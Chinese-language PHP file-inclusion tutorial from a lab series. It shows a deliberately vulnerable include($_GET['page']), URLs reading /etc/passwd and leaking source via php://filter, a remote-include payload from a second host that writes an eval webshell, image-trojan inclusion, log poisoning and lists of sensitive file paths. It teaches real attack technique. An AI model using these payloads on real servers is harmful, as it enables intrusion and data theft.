1.什麼是文件包含?
PHP中提供了四個文件包含的函數:
函數名 | 作用 |
---|---|
require | 找不到包含文件時產生致命錯誤,停止腳本 |
require_once | 如果文件已經被包含,不會重複包含,其他與require一致 |
include | 找不到被包含文件時,只會warning,不會停止腳本 |
include_once | 如果文件已經被包含,不會重複包含,其他與include一致 |
做一個示範,在項目下新建IncludeAttack的文件夾,在文件夾下,新建兩個文件
ArrayUtil.php
<?php
function PrintArr ($arr, $sp = "-->", $lin = "<br/>"){
foreach ($arr as $key => $value){
echo "$key $sp $value $lin";
}
}
index.php
<?php
include("ArrayUtil.php");
$arr = array("tom","jerry","steve");
PrintArr($arr);
運行後,如圖所示:
可以看到,index.php包含了ArrayUtil.php並完成了打印
php包含文件不只可以包含php後綴結尾的文件,例如在文件夾下新建一個phpinfo.txt:
txt文件中是符合php代碼的語法的,將這個txt文件包含到index.php中
發現可以解析文件
再試着改以下其他後綴,jpg,doc等等,都發現可以正常顯示phpinfo的信息。因此,只要文件內容符合PHP的語法規範,那麼任何擴展名都是可以被PHP解析的。
那麼如果文件中的內容不符合規範呢?
比如在代碼中包含/etc/passwd,
可以發現,當包含非PHP語法規範源文件時,則會暴露源代碼。
PHP不僅可以包含本地的文件,還可以包含遠程文件,遠程包含在配置中是默認關閉的,打開遠程包含
sudo vi /etc/php/7.2/apache2/php.ini
修改allow_url_include = off 改爲On,然後重啓web容器
systemctl restart apache2
然後在index.php中添加
include("http://192.168.85.129/");
之後打開index.php:
2.文件包含漏洞示例
經過上面的演示,php包含存在的風險已經一目瞭然了。那麼如何利用文件包含漏洞呢?
有的網站的主頁是這樣的:
index.php
<?php
if (isset($_GET['page'])){
include $_GET['page'];
} else{
include 'home.php';
}
home.php
<a href="index.php?page=main.php">主頁</a>
<a href="index.php?page=news.php">新聞</a>
<a href="index.php?page=download.php">下載</a>
界面如圖:
當點擊主頁/新聞/下載時,會將php頁面作爲參數,包含在index.php頁面中。
作爲攻擊者,可以惡意輸入一些不存在的php文件:
可以看到,在警告信息中,暴露出了網站在服務器中的絕對路徑。
通過這個接口,可以進行幾種常見的攻擊方式:
2.1 讀取敏感文件
上文提到,當包含的文件不符合php語法規範時,就會暴露源碼,那麼就可以通過文件包含的接口,讀取一些敏感的文件,比如訪問:
http://192.168.85.128/IncludeAttack/index.php?page=/etc/passwd
諸如此類的敏感信息還有如下:
windows系統:
路徑 | 作用 |
---|---|
C:\boot.ini | 查看系統版本 |
C:\windows\system32\inetsrv\MetaBase.xml | IIS配置文件 |
C:\windows\repair\sam | 存儲windows系統初次安裝的密碼 |
C:\Program Files\mysql\mysql.ini | Mysql配置 |
C:\Program Files\mysql\data\mysql\user.MYD | Mysql root |
C:\windows\php.ini | php配置信息 |
C:\windows\my.ini | Mysql配置信息 |
Linux系統:
路徑 | 作用 |
---|---|
/etc/passwd | 系統賬戶和權限 |
/usr/local/app/apache2/conf/httpd.conf | apache2默認配置文件 |
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf | 虛擬網站設置 |
/usr/local/app/php/lib/php.ini | PHP相關設置 |
/etc/my.cnf | Mysql配置 |
2.2 遠程包含shell
如果目標主機的allow_url_fopen是打開的,那麼就可以嘗試包含一句話木馬。例如,在我的主機上新建一個木馬,echo.txt:
<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['keyword']);?>"); ?>
然後將參數傳給page,訪問:
http://192.168.85.128/IncludeAttack/index.php?page=http://192.168.85.129/dvwa/hackable/uploads/echo.txt
此時,查看IncludeAttack文件夾下,發現多了一個shell.php的文件,正是由遠程包含的php文件所寫入的一句話木馬。
2.3本地包含配合文件上傳
之前一篇文章中提到過如何製作圖片木馬:
web安全學習筆記(六) 命令執行漏洞&&文件上傳漏洞
當時提到,製作的圖片木馬不會直接被Apache服務器解析,需要配合一些其他方法。這裏利用文件包含漏洞就可以了。將一句話木馬製作成shell.jpg:
<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['keyword']);?>"); ?>
訪問http://192.168.85.128/IncludeAttack/index.php?</xxx/xxx/upload/shell.jpg>即可在當前目錄下生成shell.php了。
2.4使用PHP封裝協議
php的內置封裝文件時可以讀取PHP文件的,比如訪問:
http://192.168.85.128/IncludeAttack/index.php?page=php://filter/read=convert.base64-encode/resource=index.php
得到的這段代碼,就是經過Base64加密後的PHP源代碼,通過解密,就可以得知網站的源代碼了:
當然,php還支持許多其他協議,參考https://www.php.net/manual/zh/wrappers.php
2.5包含Apache日誌文件
在目錄/var/log/apache2中,存放着apache的日誌文件:
可以看到,當用戶訪問時,日誌文件會記錄所訪問的地址。例如訪問:
http://192.168.85.128/IncludeAttack/aaaa,顯示404 not found
雖然並不存在這個地址,但是同樣會記錄在日誌中:
利用這一點,就可以將一句話木馬記錄在日誌文件中,然後通過文件包含的方法來執行。
首先,訪問http://192.168.85.128/IncludeAttack/<?php phpinfo();
需要注意的時,直接用瀏覽器進行訪問的話,空格,"<",">"等符號都被瀏覽器轉碼了,記錄到日誌的時候是這樣的格式:
明顯這並不符合PHP語法規範,不過可以通過burp修改數據包,這樣記錄到日誌裏的文件就不會被轉碼了。
此時訪問http://192.168.85.128/IncludeAttack/index.php?page=/var/log/apache2/access.log
發現log文件中php代碼被解析了。
因此,攻擊者就可以通過這種方式植入木馬。
不過,筆者在linux平臺的測試中發現,access.log以及apache2目錄對於其他用戶組是沒有執行權限的,所以一般情況下,如果權限設置沒有問題,那麼就不會出現這樣的漏洞。